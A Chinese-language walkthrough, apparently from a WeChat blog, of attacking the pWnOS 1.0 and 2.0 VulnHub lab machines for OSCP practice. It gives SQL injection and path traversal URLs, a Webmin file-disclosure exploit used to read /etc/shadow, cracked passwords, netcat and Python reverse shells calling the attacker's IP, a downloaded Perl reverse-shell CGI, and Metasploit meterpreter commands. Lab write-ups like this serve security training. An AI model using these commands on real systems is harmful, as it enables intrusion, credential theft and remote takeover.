~ 清者自清,无需多言 ~
pWnOS1.0打靶思路
helow,祝师傅们新年快乐啊,快过年了也得卷哈,这篇文章总共包含了pwnos的两个靶机,一个是Webmin文件披露漏洞,以及Simple PHP Blog指定版本的渗透,还有文件包含,perl 反弹shell等知识点,完整的打靶思路详细教程,感谢观看。
第一个靶机下载链接见:
https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip
注意导入vmware的时候一定要选择这个 “我已移动该虚拟机” ,否则扫描不到靶机。
网络模式为nat,开机后使用主机发现命令
arp-scan -l
端口扫描,端口扫描的内容如下
总共有两个http服务,一个是10000端口(注意这里如果登录错误太多了话,会导致你的ip封禁)
一个是80端口,点击next
我们一路下一步
被嘲讽了
嘲讽页面的sql注入(像xss,文件包含都试试)
http://10.10.10.129/index2.php?name=admin%27%20and%201=1%20--+&level=sk1ll3d+n00b%27%20and%201=1%20--+&submit=Please+Help%21 # sql
http://10.10.10.129/index2.php?name=../../../../../../../../etc/passwd&level=../../../../../etc/passwd&submit=../../../../etc/passwd # 文件包含
经过一番测试后,发现一个文件包含点
http://10.10.10.129/index1.php?help=true&connect=/etc/passwd
/etc/shadow 密码文件
有了文件包含,但是没有文件上传点,不能通过文件包含图片马的方式获取shell,转换思路,分析/etc/passwd文件,他有四个用户
curl 'http://10.10.10.129/index1.php?help=true&connect=/etc/passwd'
目录扫描出来一个php文件夹,包含了phpmyadmin站点目录,但是需要进行401认证,弱口令admin/admin,root/root登录失败,那么切换这四个用户试试呢
vmware
obama
osama
yomama
很遗憾都失败了,我点击了取消,这里出现了指纹信息,phpMyAdmin 2.6.3-pl1
上exp
可以看到这是一个跨站脚本的漏洞
对于我们获取shell用处不是很大,继续切换思路,放眼到10000端口,可以试试之前的用户名(都失败)
那么就上exp,Webmin,那么如何选择这些内容呢
尽量不选择Metasploit的利用方式,据红队笔记大佬说,Metasploit好比一个黑盒,我们看不到执行的过程,不利于学习渗透(oscp考试也限制使用msf)。其次需要认证Authenticated的漏洞我们也不选,因为此时我们都不知道如何登录webmin。CSRF的漏洞优先级较低,也先不考虑,我们需要优先考虑能直接获取 shell 的漏洞。所以有用的脚本可能如下,命令执行的有三个 705、746、47293,文件披露(任意文件泄露)的有两个1997、2017
文件披露的1997(不行)、2017可以
根据提示,得出命令如下,读出/etc/shadow密码文件
perl 2017.pl 10.10.10.129 10000 /etc/shadow http
用户vmware密码h4ckm3,其他几个都失败
由于靶机那边出了点问题,不能让我ssh连接了(源wp是可以的,应该是ssh版本太新了,windows和kali都不行,连不上)
这里我就想了个办法,只能用nc反弹了(登录原来的系统)
nc 10.10.10.128 6666 -e /bin/bash
切换上级目录,可以看到不是交互式终端
创建交互式终端
python -c 'import pty; pty.spawn("/bin/bash");'
系统信息收集,是ubuntu非常老的版本了7.10
看看有没有内核提权(没有)
sudo -l ,很遗憾了,这个用户好可怜,用不了sudo,和我们一样都是打工仔
uname -a
cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替
sudo -l # 查看可以使用sudo的文件
find / -perm -4000 -print 2>/dev/null # 查找 SUID文件
ls -al /etc/cron* # 查看所有计划任务
find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息
计划任务,没有一个普通用户能用的,打工仔已经坐不住了
回到刚刚读取到的shadow文件,既然能读取shadow文件,那么一定是以root的身份读取这个文件的,如果我们上传一个可执行的脚本呢?利用prel语言来读取并执行这个文件。之所以要将后缀名改为.cgi,我的理解是要将perl语言的代码改写为执行文件,如果不修改后缀名的话,用2017.pl的exp只能以root权限读取shell.pl,而无法执行shell.pl,也就无法反弹shell。
cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi
Webmin 的可执行文件后缀
-
无后缀:Webmin 的主可执行文件通常是一个没有后缀的脚本文件,例如 webmin。 -
.cgi 后缀:Webmin 使用 CGI 脚本来处理 Web 请求,这些脚本文件通常以 .cgi 为后缀。例如, /usr/share/webmin/ 目录下的许多文件都是 .cgi 文件。 -
.pl 后缀:Webmin 的某些脚本文件可能以 .pl 为后缀,表示它们是 Perl 脚本。例如,/etc/webmin/ 目录下的配置文件和脚本文件可能包含 .pl 后缀。
修改这个可执行文件
靶机下载后将文件赋予执行权限
which wget
wget 10.10.10.128:443/shell.cgi
chmod +x shell.cgi
继续利用脚本
perl 2017.pl 10.10.10.129 10000 /tmp/shell.cgi http
反弹成功
pWnOS2.0打靶思路
下载链接见:
https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip
下载之后用VMware打开,特别注意,这个靶机的ip是固定的10.10.10.100,我们需要将靶机设置为NAT模式,同时要将攻击机kali的ip也处于10.10.10.0/24这个网段,具体在菜单栏的编辑——虚拟网络编辑器,如下,点击更改设置,保证虚拟机的子网ip是10.10.10.0即可(否则可能扫不到靶机的ip)。
主机发现
全端口syn扫描
访问80端口
目录扫描
有一个info.php,找到文件
/blog/config/这里有两个文件
第一个文件内容
No Title|No Author|No Footer|english|new_to_old|new_to_old|1|5|1|b,i,strong,em,url|[email protected]||||||1||
密码文件内容,是一个md5(Unix)类型的加密
$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/
返回到主页,测试sql注入
sql语句报错,存在sql注入漏洞
那么就万能密码,成功登录页面只有一个Welcome [email protected],一个邮箱信息,
admin' || 1=1 -- +
Powered by Simple PHP Blog 0.4.0 cms的版本指纹信息
框中的这第四个有一个msf的exp,远程命令执行(Remote Command Execution),符合条件的只有后面两个
他是说这个系统中有三个漏洞,第一个是暴露了 password.txt ,刚开始我们目录扫描的时候已经扫描出来了,第二个在登录用户的图像上传,没有身份验证,上传任意的文件,第三个漏洞是博客评论可以任意删除。
看样子是需要我们登录进去了,还有一个exp没有用上
插叙:如果出现运行报错Can't locate Switch.pm in @INC,应该是perl版本依赖未安装的问题,运行如下命令即可。
sudo apt install libswitch-perl
根据他的提示,我们利用 -e
参数,指定好第一个文件上传的选项 1,这里提示我们在网站的images下面创建了一个cmd.php文件
访问即可
利用python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
这里就不需要创建交互式终端了,这里使用python反弹的shell,默认已经可以交互式了。
系统信息收集,属于低版本的ubuntu,首先考虑的是内核提权
继续信息收集,返回上级目录,看到一个mysqli_connect.php文件,可以看到mysql的密码信息
user : root
pass : goodday
鉴权失败
返回home看到有一个用户,用刚刚的mysql密码登录试试,鉴权失败
文件权限信息收集
find / -perm 777 -type f 2>/dev/null # 777文件
find / -perm -4000 -print 2>/dev/null # SUID文件
sudo -l 意外的发现,www-data用户能够使用sudo,但是不知道密码
经过一番折腾后,在var目录下面又找到了一个数据库连接的文件
密码为 root@ISIntS
又是一个密码信息,大概率是dan用户的
[email protected]
鉴权失败
目前已知三个密码信息(其中一个是邮箱)
[email protected] # 数据表中dan的邮箱
root@ISIntS # 数据库密码
goodday # 假的数据库密码
回到刚刚的内核提权,尝试一下
已关机。。。。利用失败
靶机提权主要是利用已知的所有密码信息,进行密码碰撞,利用数据库连接的密码,切换root用户来进行提权
也可以使用第二种方法(考试只能使用一次),msf(不清楚什么原因,漏洞利用成功,建立会话失败,是利用失败的,可以自行尝试)
msfconsole
search Simple PHP Blog 0.4.0
set rhosts 10.10.10.100
set URI blog
set payload php/meterpreter/reverse_tcp
run
原文始发于微信公众号(泷羽Sec):【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论